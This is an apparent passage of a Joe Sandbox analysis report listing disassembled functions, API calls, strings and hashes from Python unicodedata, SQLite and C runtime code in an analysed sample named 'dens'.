Instruction Fuzzy Hash: A311C435F08A828AEB589B42E460AA97361EB85BC4F448072DA2D4779DCF2CD55BC304

Function 00007FFDFAA54CB4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFDFAA54CF3
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA54D28

Strings

argument 1, xrefs: 00007FFDFAA54D21
a unicode character, xrefs: 00007FFDFAA54D13
numeric, xrefs: 00007FFDFAA54CE3, 00007FFDFAA54D1A

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: a unicode character$argument 1$numeric
API String ID: 3876575403-2385192657
Opcode ID: f2c4218ba94db24fb659ccbfd3ee4767c89f092abad47c48dbe9f437d0b50517
Instruction ID: e10d66ded7e33b94480861bcb20230d0b8c6b0f334560171dc769b164d6b7efd
Opcode Fuzzy Hash: f2c4218ba94db24fb659ccbfd3ee4767c89f092abad47c48dbe9f437d0b50517
Instruction Fuzzy Hash: 0C11BF32B08B828AEB589B46E460AA97320EB44B84F544072DE2D4779DCF2DE18AC704

Function 00007FFDFAA54A7C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA54AAC
PyErr_Occurred.PYTHON312 ref: 00007FFDFAA54ADB

Strings

a unicode character, xrefs: 00007FFDFAA54A97
mirrored, xrefs: 00007FFDFAA54AA5
argument, xrefs: 00007FFDFAA54A9E

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_ArgumentErr_Occurred
String ID: a unicode character$argument$mirrored
API String ID: 3979797681-4001128513
Opcode ID: 9496c058ca4f3a92d16c11e0dea8752c802f91a4b5f675f0277ed2c6365c313a
Instruction ID: fed7e27a5fbd6aa87abdd9a253ec7fbdc16bcbd9ca7e862679df5acbc7837765
Opcode Fuzzy Hash: 9496c058ca4f3a92d16c11e0dea8752c802f91a4b5f675f0277ed2c6365c313a
Instruction Fuzzy Hash: 95017C64F08A438AEB5C9B61A8709B933A1BF48754F8005B1D66E472DCDE2CE59EC308

Function 00007FFDFAA542A4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA542D4
PyErr_Occurred.PYTHON312 ref: 00007FFDFAA54303

Strings

a unicode character, xrefs: 00007FFDFAA542BF
argument, xrefs: 00007FFDFAA542C6
combining, xrefs: 00007FFDFAA542CD

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_ArgumentErr_Occurred
String ID: a unicode character$argument$combining
API String ID: 3979797681-4202047184
Opcode ID: f57a56bca3f03315399802cbb188705c8f0221a3905f8c719d86b24713be5e96
Instruction ID: 5bd77df7e013d7699e2e0895db74d797d35f8203dd40f3efd6487bb9dfc76c8b
Opcode Fuzzy Hash: f57a56bca3f03315399802cbb188705c8f0221a3905f8c719d86b24713be5e96
Instruction Fuzzy Hash: BD01B120F18A438AEB1C9761E4708BD32A1BF08754F8005B5D53D432DCDE3CE19E8304

Function 00007FFDFAA52610 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON312(?,?,00000000,00007FFDFAA5254A), ref: 00007FFDFAA5261B
PyCapsule_New.PYTHON312(?,?,00000000,00007FFDFAA5254A), ref: 00007FFDFAA52658
PyErr_NoMemory.PYTHON312(?,?,00000000,00007FFDFAA5254A), ref: 00007FFDFAA53FB8
PyMem_Free.PYTHON312(?,?,00000000,00007FFDFAA5254A), ref: 00007FFDFAA53FC8

Strings

unicodedata._ucnhash_CAPI, xrefs: 00007FFDFAA5264D

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Mem_$Capsule_Err_FreeMallocMemory
String ID: unicodedata._ucnhash_CAPI
API String ID: 3673501854-3989975041
Opcode ID: 04962b3129ec8039d4574c2b15526bc82bf072c2335504b47079f601afa57e40
Instruction ID: 823053261b48429004f284092a01ce1d206054969096924f4258f0cd1d593cac
Opcode Fuzzy Hash: 04962b3129ec8039d4574c2b15526bc82bf072c2335504b47079f601afa57e40
Instruction Fuzzy Hash: D7F01D64B19B4799EB095B61E83497473A8BF58780F4814B1C86E067DCEE3CE04EC358

Function 00007FF62C109A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF62C109AAD
GetProcAddress.KERNEL32 ref: 00007FF62C109AC3
FreeLibrary.KERNEL32 ref: 00007FF62C109AEA

Strings

CorExitProcess, xrefs: 00007FF62C109ABC
mscoree.dll, xrefs: 00007FF62C109AA4

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: eb95f7f3f48f6a0bec1191f39e3fbdbb999db267ea4a3c974252f25e370276a8
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: FCF0C261B08706C1FE148B28EC6F77A6330AF59770F440235DA6E866E8CF6CD144C302

Function 00007FFDFAC0EF40 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 390COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAC0EFE6

Strings

vtable constructor did not declare schema: %s, xrefs: 00007FFDFAC0F298
vtable constructor failed: %s, xrefs: 00007FFDFAC0F159
hidden, xrefs: 00007FFDFAC0F3DD
vtable constructor called recursively: %s, xrefs: 00007FFDFAC0F112

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
API String ID: 3510742995-1299490920
Opcode ID: 32730d387572c6d220be8f8d31a9a93a50f8bff822b157f52283308a3860c2a9
Instruction ID: 31a3c20608ded75ae7eef4e9ab420ba4df46c71bf8e87c1c0ca43dafb5a74372
Opcode Fuzzy Hash: 32730d387572c6d220be8f8d31a9a93a50f8bff822b157f52283308a3860c2a9
Instruction Fuzzy Hash: 1902AC2AB0CB9181EB588B15E560B7E67A0FB44B94F488271DEAD877C9CF3CE491C350

Function 00007FFDFAB9BFE0 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 366COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB9C12D
memcpy.VCRUNTIME140 ref: 00007FFDFAB9C287

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB9C0EC, 00007FFDFAB9C233
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB9C0D3, 00007FFDFAB9C21A
database corruption, xrefs: 00007FFDFAB9C0E0, 00007FFDFAB9C227

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3510742995-3727861699
Opcode ID: 82882c0c8ae97d424e1c106e57682a3131d3c85fc700fa23b5bc464ad95a1b36
Instruction ID: d57a5fe8137414b4107139b392bf1917a3bdb8d38442a5fe3e4ae992ac0ea149
Opcode Fuzzy Hash: 82882c0c8ae97d424e1c106e57682a3131d3c85fc700fa23b5bc464ad95a1b36
Instruction Fuzzy Hash: C5F1AE72708B818ADB98CF55E054BAD77A4FB49B88F508036EE9E47799DF39D844C700

Function 00007FFDFAB97950 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB97A6A
memset.VCRUNTIME140 ref: 00007FFDFAB97BFD

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB97DB8
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB97D9F
database corruption, xrefs: 00007FFDFAB97DAC

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2221118986-3727861699
Opcode ID: 6f452dc5023fa386c57eeef692d5ae6c27b56862746b7898d214a5848d1ce0d7
Instruction ID: cf09d9351759d214c1ad3411f18899d4757791f49c85a60a7ae722fcc3071fe4
Opcode Fuzzy Hash: 6f452dc5023fa386c57eeef692d5ae6c27b56862746b7898d214a5848d1ce0d7
Instruction Fuzzy Hash: 73D17C72708A8586DB58CF25D024AA977F4FB88B88F558076DF5D47798EF39D882C300

Function 00007FFDFABF9870 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 288COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,?,00000000,00007FFDFABFA0B5,?,?,?), ref: 00007FFDFABF98F0
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,?,00000000,00007FFDFABFA0B5,?,?,?), ref: 00007FFDFABF9A37

Strings

rowid, xrefs: 00007FFDFABF99C8
column%d, xrefs: 00007FFDFABF9A45
%.*z:%u, xrefs: 00007FFDFABF9B06

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpymemset
String ID: %.*z:%u$column%d$rowid
API String ID: 1297977491-2903559916
Opcode ID: 1b4000d05f1bd8cdd71e49d72771d699f0f9a7748b10584b5e73e00e31599616
Instruction ID: eb464ef1df8e434b011375af22ccf13ac784ae45ea0452947bfe5043ad894288
Opcode Fuzzy Hash: 1b4000d05f1bd8cdd71e49d72771d699f0f9a7748b10584b5e73e00e31599616
Instruction Fuzzy Hash: C6B1BF2AB096C385EB699B959460BB96790EF41B84F8D81B5CE6D077DDDF3CE801C300

Function 00007FFDFABBD440 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFABB7857), ref: 00007FFDFABBD59A
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFABB7857), ref: 00007FFDFABBD5C4
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFABB7857), ref: 00007FFDFABBD5E2
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFABB7857), ref: 00007FFDFABBD617

Strings

H, xrefs: 00007FFDFABBD5AE

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID: H
API String ID: 438689982-2852464175
Opcode ID: 514d7303eeb31d981147c69c7a56ef58d2f0ef438fa373e1b1835ae557823639
Instruction ID: ca5c7920dc9910897f42cd37570de8471e108f9bb8e424cbdc5d414bc8a6797b
Opcode Fuzzy Hash: 514d7303eeb31d981147c69c7a56ef58d2f0ef438fa373e1b1835ae557823639
Instruction Fuzzy Hash: 2F919F7671964186EB2C8E16D460B7A67A0FB84BD4F944676DEBE477C8CF3CE4508B00

Function 00007FFDFAB9B050 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFAB99890: memcpy.VCRUNTIME140 ref: 00007FFDFAB998FD
Part of subcall function 00007FFDFAB99890: memcpy.VCRUNTIME140 ref: 00007FFDFAB99924

memcpy.VCRUNTIME140 ref: 00007FFDFAB9B2D3
memcpy.VCRUNTIME140 ref: 00007FFDFAB9B2E9

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB9B117
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB9B0F7
database corruption, xrefs: 00007FFDFAB9B110

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3510742995-3727861699
Opcode ID: 8ec60ca20c84ac8b4ec9e29fae1a96b76e6f7017699913c20ceb1c8c2236ccaa
Instruction ID: 61eeab15ba7582e35cb6693b1f5c6b8aada3546262c82a8248f6cfdfab02d0a2
Opcode Fuzzy Hash: 8ec60ca20c84ac8b4ec9e29fae1a96b76e6f7017699913c20ceb1c8c2236ccaa
Instruction Fuzzy Hash: FD81F132B087868AD7688F29D464BAE77A4FB88788F408076EB5D477D9CF38D445C700

Function 00007FFDFAB98980 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB98A46
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB98A2C
database corruption, xrefs: 00007FFDFAB98A3F

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: d6c234829527da0e6d0581c2bd27627037928653f1d9a952e892e83a93fd6a9d
Instruction ID: 4ddb82cf5650e3fa561b0dad66de786673d4c6d8beb449a0c6c003ff3f21efc4
Opcode Fuzzy Hash: d6c234829527da0e6d0581c2bd27627037928653f1d9a952e892e83a93fd6a9d
Instruction Fuzzy Hash: 728127227082D15AD7688B65D1A0ABE7BA0FB44788F488176DFAD476D9CF3CF455C300

Function 00007FFDFAC0D7E0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000,00000001,00007FFDFAC0DA8A,?,?,?,00007FFDFAC0DE4B), ref: 00007FFDFAC0D949
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000,00000001,00007FFDFAC0DA8A,?,?,?,00007FFDFAC0DE4B), ref: 00007FFDFAC0D963
memcpy.VCRUNTIME140(?,?,?,?,?,?,00000000,00000001,00007FFDFAC0DA8A,?,?,?,00007FFDFAC0DE4B), ref: 00007FFDFAC0D9F7

Strings

INS, xrefs: 00007FFDFAC0D959
CRE, xrefs: 00007FFDFAC0D93F

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: strncmp$memcpy
String ID: CRE$INS
API String ID: 2549481713-4116259516
Opcode ID: 42b0215926e769c5e52d6913751ab663a596e2a78c0b585186779095b722048e
Instruction ID: a901024d5df946ebdb6ba79aa136e8138cae22dd82a0136d1bf4e85de990363e
Opcode Fuzzy Hash: 42b0215926e769c5e52d6913751ab663a596e2a78c0b585186779095b722048e
Instruction Fuzzy Hash: 8651A229B0965240EB5A9B16A470A7D67A1BF80FC4F5C81B1DD6D8B7DDDE3CE8418340

Function 00007FFDFAB98C80 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB98D07
memmove.VCRUNTIME140 ref: 00007FFDFAB98DE5

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB98EA1
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB98E89
database corruption, xrefs: 00007FFDFAB98E95

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpymemmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 167125708-3727861699
Opcode ID: 5bb49aed324d8c03b8d256e0ad89761a530f0eb7c9e1c8512ef4d3000247f6b9
Instruction ID: a585548a90cfb299a13e1328ebf6dc7a573d5d94216fbbe6fefeb4ea33ec4415
Opcode Fuzzy Hash: 5bb49aed324d8c03b8d256e0ad89761a530f0eb7c9e1c8512ef4d3000247f6b9
Instruction Fuzzy Hash: 58510172708BC085CB14CB55E4A89AEBBA4FB58788F55817AEB9E03798DF3CD052C700

Function 00007FF62C119368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF62C119390
_set_statfp.LIBCMT ref: 00007FF62C1193AB
_set_statfp.LIBCMT ref: 00007FF62C1193C7
_set_statfp.LIBCMT ref: 00007FF62C119403

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: c0936150a246bbdc1847628288228c3b1f4df18014319b5539fea7cd5b03cd38
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 09113322D68A8201FE54117EED9B37D1190AF79374E4C8634EA7E967DE8EEC6445C103

Function 00007FF62C10B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B3CE
